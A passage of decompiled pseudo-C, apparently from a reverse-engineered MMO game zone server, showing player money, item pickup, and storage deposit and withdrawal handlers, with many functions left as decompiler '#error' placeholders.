*this, unsigned int money) { void *v2; // esi@1 __int16 v3; // dx@1 char *v4; // edi@1 ZoneBaseSession *v5; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_PickupMoney"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_PickupMoney"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_WORD *)v2 + 2); *(_QWORD *)((char *)v2 + 32071) += money; v4 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = v3; *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_WORD *)v4 = 13368; *((_DWORD *)v4 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v4 + 3) = -1; *((_DWORD *)v4 + 4) = -1; *((_DWORD *)v4 + 5) = money; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 24) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_PickupMoney : Packet Too Long", 24); } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); (*(void (__thiscall **)(char *, signed int))(*((_DWORD *)v2 + 14434) + 20))((char *)v2 + 57736, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_PickupMoney"); } //----- (004E1B70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_IncDecMoney(void *this, unsigned int money, char Positive) { void *v3; // esi@1 unsigned int v4; // ecx@1 unsigned int v5; // edx@1 int v6; // edx@2 int v7; // ecx@2 unsigned __int64 v8; // kr10_8@2 unsigned __int64 v9; // kr18_8@3 __int16 v10; // dx@4 char *v11; // edi@4 ZoneBaseSession *v12; // eax@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 32075); v5 = *(_DWORD *)((char *)v3 + 32071); if ( Positive ) { v8 = money + __PAIR__(v4, v5); v7 = v8 >> 32; v6 = v8; } else { v9 = __PAIR__(v4, v5) - money; v7 = v9 >> 32; v6 = v9; } *(_DWORD *)((char *)v3 + 32071) = v6; v10 = *((_WORD *)v3 + 2); *(_DWORD *)((char *)v3 + 32075) = v7; v11 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = v10; *((_DWORD *)v11 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *(_WORD *)v11 = 13434; *((_DWORD *)v11 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v11 + 3) = money; v11[16] = Positive; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v12 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v12); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney : Packet Too Long", 17); } (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1076))(v3); (*(void (__thiscall **)(char *, signed int))(*((_DWORD *)v3 + 14434) + 20))((char *)v3 + 57736, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney"); } //----- (004E1CC0) -------------------------------------------------------- #error "4E1CC0: undefined or illegal type '#325' (funcsize=63)" //----- (004E1DB0) -------------------------------------------------------- #error "4E1DB0: undefined or illegal type '#325' (funcsize=64)" //----- (004E1EA0) -------------------------------------------------------- #error "4E1EA0: undefined or illegal type '#325' (funcsize=63)" //----- (004E1F90) -------------------------------------------------------- #error "4E1F90: undefined or illegal type '#325' (funcsize=64)" //----- (004E2080) -------------------------------------------------------- #error "4E2080: undefined or illegal type '#325' (funcsize=63)" //----- (004E2170) -------------------------------------------------------- #error "4E2170: undefined or illegal type '#325' (funcsize=64)" //----- (004E2260) -------------------------------------------------------- #error "4E2260: undefined or illegal type '#325' (funcsize=58)" //----- (004E2340) -------------------------------------------------------- #error "4E2340: undefined or illegal type '#325' (funcsize=57)" //----- (004E2420) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_itempickresult(void *this, __int16 error, __int16 handle) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@2 __int16 v6; // dx@3 int v7; // eax@7 ScriptInterrupt::InterruptHappenArgument arg; // [sp+4h] [bp-114h]@3 unsigned int v9; // [sp+108h] [bp-10h]@8 int v10; // [sp+114h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_itempickresult"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_itempickresult"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12298; v10 = 0; *((_WORD *)v4 + 5) = handle; if ( error == 833 ) { *((_WORD *)v4 + 1) = *((_WORD *)v3 + 44486); *((_DWORD *)v4 + 1) = *((_DWORD *)v3 + 22244); *((_WORD *)v4 + 4) = 833; v5 = *(_DWORD *)((char *)v3 + 98); if ( v5 ) { v6 = *((_WORD *)v3 + 44486); *(_WORD *)&arg.npcclick.index[2] = *((_WORD *)v3 + 2); *(_WORD *)&arg.npcclick.index[0] = v6; Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem, &arg); } } else { *((_WORD *)v4 + 1) = -1; *((_DWORD *)v4 + 1) = 0; *((_WORD *)v4 + 4) = error; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_itempickresult : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_itempickresult"); __security_check_cookie(v9); } //----- (004E25A0) -------------------------------------------------------- #error "4E25A0: undefined or illegal type '#325' (funcsize=199)" //----- (004E2860) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_Set(ItemLotInspector *this, int action, unsigned __int16 itemid) { char *v3; // eax@1 v3 = &this->gap4[248 * this->ili_ArrayPointer.value]; this->ili_Action = action; *(_DWORD *)v3 = action; *((_WORD *)v3 + 2) = itemid; } //----- (004E2890) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_SetFrom(ItemLotInspector *this, int sub, ITEM_INVEN *fromloc, SHINE_ITEM_STRUCT *itemstruct) { char *v4; // eax@1 v4 = &this->gap4[248 * this->ili_ArrayPointer.value] + 106 * sub; v4[6] = 1; memcpy(v4 + 9, itemstruct, 0x67u); *(_WORD *)(v4 + 7) = fromloc->Inven; } //----- (004E28D0) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_SetTo(ItemLotInspector *this, int sub, ITEM_INVEN *toloc) { char *v3; // eax@1 v3 = &this->gap4[248 * this->ili_ArrayPointer.value]; v3[8 * sub + 220] = 1; *(_WORD *)&v3[8 * sub + 221] = toloc->Inven; } //----- (004E2900) -------------------------------------------------------- #error "4E2900: undefined or illegal type '#325' (funcsize=16)" //----- (004E2940) -------------------------------------------------------- char __thiscall ItemDataBox::idb_NoTrade(ItemDataBox *this, unsigned __int16 item) { ItemInfo *v2; // eax@2 char result; // al@3 if ( item < this->idb_maxItemhandle && (v2 = this->idb_index[item].data) != 0 ) result = v2->NoTrade; else result = 1; return result; } //----- (004E2970) -------------------------------------------------------- char __thiscall ItemDataBox::idb_NoStorageItem(ItemDataBox *this, unsigned __int16 item) { ItemInfo *v2; // eax@2 char result; // al@3 if ( item < this->idb_maxItemhandle && (v2 = this->idb_index[item].data) != 0 ) result = v2->NoStorage; else result = 1; return result; } //----- (004E29A0) -------------------------------------------------------- char __thiscall ItemDataBox::idb_BelongedItem(ItemDataBox *this, unsigned __int16 item) { ItemInfo *v2; // eax@2 char result; // al@3 if ( item < this->idb_maxItemhandle && (v2 = this->idb_index[item].data) != 0 ) result = v2->Belonged; else result = 1; return result; } //----- (004E29D0) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (004E2A10) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (004E2A50) -------------------------------------------------------- #error "4E2A50: undefined or illegal type '#325' (funcsize=324)" //----- (004E2ED0) -------------------------------------------------------- #error "4E2ED0: undefined or illegal type '#434' (funcsize=341)" //----- (004E33B0) -------------------------------------------------------- #error "4E33B0: undefined or illegal type '#434' (funcsize=329)" //----- (004E3880) -------------------------------------------------------- #error "4E3880: undefined or illegal type '#434' (funcsize=399)" //----- (004E3E10) -------------------------------------------------------- #error "4E3E10: undefined or illegal type '#325' (funcsize=94)" //----- (004E3F70) -------------------------------------------------------- #error "4E3F70: undefined or illegal type '#325' (funcsize=74)" //----- (004E4090) -------------------------------------------------------- #error "4E4090: undefined or illegal type '#325' (funcsize=94)" //----- (004E41F0) -------------------------------------------------------- #error "4E41F0: undefined or illegal type '#325' (funcsize=74)" //----- (004E4310) -------------------------------------------------------- #error "4E4310: undefined or illegal type '#325' (funcsize=139)" //----- (004E44F0) -------------------------------------------------------- #error "4E44F0: undefined or illegal type '#325' (funcsize=74)" //----- (004E4610) -------------------------------------------------------- #error "4E4610: undefined or illegal type '#325' (funcsize=160)" //----- (004E4830) -------------------------------------------------------- #error "4E4830: undefined or illegal type '#325' (funcsize=72)" //----- (004E4930) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned __int64 v5; // qax@8 int v6; // edx@9 int v7; // edi@12 int v8; // eax@12 char *v9; // edi@12 ZoneBaseSession *v10; // eax@14 int v11; // eax@15 char *v12; // [sp-8h] [bp-24h]@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S9_35 & 1) ) { _S9_35 |= 1u; cmc_64.cmc_AllowMode = 70; atexit(_E10_23); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_64.cmc_AllowMode && !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { if ( *((_BYTE *)v4 + 23280) & 0x10 ) { LODWORD(v5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); if ( *(_QWORD *)(netcmd + 2) > v5 ) { *(_DWORD *)(netcmd + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); *(_DWORD *)(netcmd + 6) = v6; } if ( *(_QWORD *)(netcmd + 2) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v7 + 56))( v7, *(_WORD *)(v8 + 4), *(_DWORD *)(netcmd + 2), *(_DWORD *)(netcmd + 6), -1); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13407; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v9 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *(_DWORD *)(v9 + 14) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v9 + 18) = *(_DWORD *)(netcmd + 6); *((_WORD *)v9 + 4) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4) + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ : Packet Too Long", 22); } v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v11 + 4); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 29, 3971); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 29, 3970); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 29, 3969); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (004E4B60) -------------------------------------------------------- #error "4E4B60: undefined or illegal type '#325' (funcsize=56)" //----- (004E4C40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_DepositAck(void *this, int deposit) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@2 int v5; // ST04_4@3 DebugLogging *v6; // eax@3 DebugLogging *v7; // eax@3 int v8; // eax@5 char *v9; // eax@6 int v10; // eax@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_DepositAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_DepositAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; if ( *(_WORD *)(deposit + 16) == 3968 ) { v4 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v4 + 24))( v4, v2, *(_WORD *)(deposit + 6), 0) ) { v5 = *(_WORD *)(deposit + 6); v6 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_DepositAck : "); v7 = DebugLogging::operator<<(v6, v5); DebugLogging::operator<<(v7, &deb_LF); } *((_DWORD *)v2 + 17356) = *(_DWORD *)(deposit + 8); *((_DWORD *)v2 + 17357) = *(_DWORD *)(deposit + 12); } else { v8 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v8 + 32))(v8, *(_WORD *)(deposit + 6)); } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12317; *(_DWORD *)(v9 + 2) = *((_DWORD *)v2 + 17356); *(_DWORD *)(v9 + 6) = *((_DWORD *)v2 + 17357); *((_WORD *)v9 + 5) = *(_WORD *)(deposit + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_DepositAck : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_DepositAck"); } //----- (004E4DB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned int v5; // eax@9 unsigned int v6; // ecx@9 int v7; // edi@13 int v8; // eax@13 char *v9; // edi@13 ZoneBaseSession *v10; // eax@15 int v11; // eax@16 char *v12; // [sp-8h] [bp-24h]@12 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S11_7 & 1) ) { _S11_7 |= 1u; cmc_65.cmc_AllowMode = 70; atexit(_E12_6); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_65.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 31, 3969); LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"); return; } if ( !(*((_BYTE *)v4 + 23280) & 0x10) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 31, 3970); goto LABEL_8; } v5 = *((_DWORD *)v4 + 17357); v6 = *((_DWORD *)v4 + 17356); if ( *(_QWORD *)(netcmd + 2) > __PAIR__(v5, v6) ) { *(_DWORD *)(netcmd + 2) = v6; *(_DWORD *)(netcmd + 6) = v5; } if ( *(_QWORD *)(netcmd + 2) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v7 + 56))( v7, *(_WORD *)(v8 + 4), *(_DWORD *)(netcmd + 2), *(_DWORD *)(netcmd + 6), 1); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13409; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v9 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *(_DWORD *)(v9 + 14) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v9 + 18) = *(_DWORD *)(netcmd + 6); *((_WORD *)v9 + 4) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4) + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ : Packet Too Long", 22); } v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v11 + 4); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"; } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 31, 3971); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (004E5000) -------------------------------------------------------- #error "4E5000: undefined or illegal type '#325' (funcsize=56)" //----- (004E50E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WithdrawAck(void *this, int withdraw) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@2 int v5; // ST04_4@3 DebugLogging *v6; // eax@3 DebugLogging *v7; // eax@3 int v8; // eax@5 char *v9; // eax@6 int v10; // eax@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; if ( *(_WORD *)(withdraw + 16) == 3968 ) { v4 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v4 + 24))( v4, v2, *(_WORD *)(withdraw + 6), 0) ) { v5 = *(_WORD *)(withdraw + 6); v6 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck : "); v7 = DebugLogging::operator<<(v6, v5); DebugLogging::operator<<(v7, &deb_LF); } *((_DWORD *)v2 + 17356) = *(_DWORD *)(withdraw + 8); *((_DWORD *)v2 + 17357) = *(_DWORD *)(withdraw + 12); } else { v8 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v8 + 32))(v8, *(_WORD *)(withdraw + 6)); } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12319; *(_DWORD *)(v9 + 2) = *((_DWORD *)v2 + 17356); *(_DWORD *)(v9 + 6) = *((_DWORD *)v2 + 17357); *((_WORD *)v9 + 5) = *(_WORD *)(withdraw + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_DepositAck : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WithdrawAck"); } //----- (004E5250) -------------------------------------------------------- #error "4E5250: undefined or illegal type '#325' (funcsize=56)" //----- (004E5330) -------------------------------------------------------- #error "4E5330: undefined or illegal type '#325' (funcsize=113)" //----- (004E54F0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init(ShineObjectClass::ShinePlayer::MiniHouseStr *this, #434 *a2, ItemInventoryCell *iic) { ShineObjectClass::ShinePlayer::MiniHouseStr *v3; // esi@1 int v4; // edx@1 unsigned __int16 result; // ax@2 unsigned __int16 v6; // di@3 signed int v7; // eax@3 CIDEB_Element *v8; // ecx@13 MiniHouse *v9; // eax@16 ChargedItemEffectFinger finger; // [sp+0h] [bp-14h]@3 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v4 = funcallanalizer.fca_stackpoint++ + 1; v12 = 0; if ( iic ) { v6 = iic->iic_Item.iti_itemstruct.itemid; MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v12) = 1; v7 = -1; while ( v7 >= -1 ) { ++v7; finger.cief_Finger = v7; if ( v7 >= minihousedatabox.cideb_Total ) break; if ( minihousedatabox.cideb_Array[v7].ce_ItemID == v6 ) goto LABEL_9; } finger.cief_Finger = -10; LABEL_9: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&finger) == minihousedatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v3->mhs_SkinHandle = 0; LOBYTE(v12) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); result = 4102; } else { if ( finger.cief_Finger < 0 || finger.cief_Finger >= minihousedatabox.cideb_Total ) v8 = 0; else v8 = &minihousedatabox.cideb_Array[finger.cief_Finger]; v3->mhs_SkinHandle = v8; if ( v8 && (v9 = v8->ce_Data) != 0 ) { v3->mhs_HPTick = ((signed int)((unsigned __int64)(2748779070i64 * v9->HPTick) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(2748779070i64 * v9->HPTick) >> 32) >> 31); v3->mhs_SPTick = (signed __int16)(10 * v8->ce_Data->SPTick) / 1000; v3->mhs_HPInc = v8->ce_Data->HPRecovery; v3->mhs_SPInc = v8->ce_Data->SPRecovery; v3->mhs_BoothSlot = v8->ce_Data->Slot; } else { v3->mhs_HPTick = -5536; v3->mhs_SPTick = -5536; v3->mhs_HPInc = 0; v3->mhs_SPInc = 0; v3->mhs_BoothSlot = 0; } v3->mhs_DummyObject[0] = 0; v3->mhs_DummyObject[1] = 0; v3->mhs_DummyObject[2] = 0; v3->mhs_DummyObject[3] = 0; v3->mhs_DummyObject[4] = 0; v3->mhs_DummyObject[5] = 0; v3->mhs_DummyObject[6] = 0; v3->mhs_DummyObject[7] = 0; v3->mhs_DummyObject[8] = 0; v3->mhs_DummyObject[9] = 0; LOBYTE(v12) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); result = 4097; } } else { funcallanalizer.fca_stackpoint = v4 - 1; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init"); result = 4102; } return result; } //----- (004E5730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DecorationActivCheck(void *this) { void *v1; // ebp@1 int v2; // edx@1 int v3; // eax@1 InventoryLocking::InventoryCellLock *v4; // eax@1 int v5; // eax@2 void *v6; // edi@2 int v7; // ebx@2 int v8; // edx@2 int v9; // esi@2 int v10; // ecx@2 void *v11; // eax@2 __int16 v12; // si@4 int v13; // ecx@4 CIDEB_Element *v14; // ecx@8 ChargedItemEffect *v15; // edx@9 void *v16; // eax@12 int v17; // edx@12 int v18; // eax@13 unsigned int v19; // ecx@13 char *v20; // ecx@13 int v21; // eax@13 int v22; // edx@13 char *v23; // esi@13 int v24; // edx@13 void *v25; // edi@13 int v26; // esi@13 int v27; // eax@13 ZoneBaseSession *v28; // eax@15 ITEM_INVEN inv; // [sp+18h] [bp-5Ch]@13 void *deltime; // [sp+1Ch] [bp-58h]@2 int iic; // [sp+20h] [bp-54h]@2 FunctionEntarance _; // [sp+24h] [bp-50h]@1 InventoryLocking::UnlockedInventoryIterator uii; // [sp+28h] [bp-4Ch]@1 ItemBoxIterItem ibii; // [sp+34h] [bp-40h]@1 tm timestr; // 